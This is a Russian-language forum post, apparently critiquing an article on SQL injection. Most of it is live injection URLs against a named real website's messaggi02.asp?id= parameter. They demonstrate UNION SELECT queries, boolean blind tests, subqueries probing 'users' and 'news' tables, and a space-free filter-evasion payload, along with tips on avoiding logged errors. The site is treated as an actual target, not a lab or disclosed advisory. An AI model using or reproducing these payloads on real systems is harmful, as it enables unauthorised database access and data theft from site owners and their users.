Ну во первых хочу заметить что наличие ошибки не означает не выолнение запроса.
Дальше Коментарии
http://www.libertaegiustizia.it/blog_generale/messaggi02.asp?id=1+union+select+1+from+news#SELEC T+1=0'
Смотрим и убеждаемся что рубит нахер и сразу как говориться. # Конец строки и не ипет.
Далее насчет обязательного from table берд.
http://www.libertaegiustizia.it/blog_generale/messaggi02.asp?id=1+and+1=0
http://www.libertaegiustizia.it/blog_generale/messaggi02.asp?id=1+and+1=1
Такой запрос
http://www.libertaegiustizia.it/blog_generale/messaggi02.asp?id=1+and+1=1+group+by+1+having+1=1
Далее а кто запрещал юзать подзапросы в милионный раз говорю это действительно удобнее...
http://www.libertaegiustizia.it/blog_generale/messaggi02.asp?id=1+union+select+1+from+news
Так не легче, да и поля не надо перебирать.
http://www.libertaegiustizia.it/blog_generale/messaggi02.asp?id=(select+1+from+users)
Далее функции, Я не писал в своих статьях о функциях да и не буду наверное каму надо тот найдет, скажу одно Функций тут гараздро больше, и собсвенно проводить иньекции намного легче. Для ввода распомотрим такой запрос
http://www.libertaegiustizia.it/blog_generale/messaggi02.asp?id=date()
http://www.libertaegiustizia.it/blog_generale/messaggi02.asp?id=1+and+1=date()
http://www.libertaegiustizia.it/blog_generale/messaggi02.asp?id=1+or+1=date()
Думаю всем понятно что любую функцию можно использывать соблюсти при этом синтаксис. Далее возьмем те иньекции в котороых ошибки не выводяться, умные люди уже давно не ставят кавчки потаму что 1 ошибки как правило логируються а второе ошибка это не иньекция, а вот исполнение какой то элементаной контрукции-условия это 100% иньекция. Так в MSSQL тоже есть посивольный перебор то при слепых иньеция мы его можем использывать И смотреть на ответ сервера, и не забывать что в SQL есть не только 1=1 но TRUE=TRUE TRUE=FALSE котрые также можно использывать во всех реализциях SQL Например
http://www.libertaegiustizia.it/blog_generale/messaggi02.asp?id=1+and+TRUE=TRUE
http://www.libertaegiustizia.it/blog_generale/messaggi02.asp?id=1+and+FALSE=FALSE
http://www.libertaegiustizia.it/blog_generale/messaggi02.asp?id=1+and+FALSE=TRUE
http://www.libertaegiustizia.it/blog_generale/messaggi02.asp?id=1+and+TRUE=FALSE
Исользуя эту конструкцию и подзапросы мы может делать очень многое и знать исполнилось это или нет...
Далее пару слов о фильтрации и захреначим запрос не используя пробелов и их заменилей
http://www.libertaegiustizia.it/blog_generale/messaggi02.asp?id=(1)or(1)=(select(1)from(users))
P.S. Ну в принцыпе статья на твердую 4, но тема сисек не раскрыта.
И вообще мое мнение что надо писать стать по SQL иньекциям как таковым ибо все похоже очень похоже разделять на классы и типы баз не очень нужно нужно просто знать что и где и почем.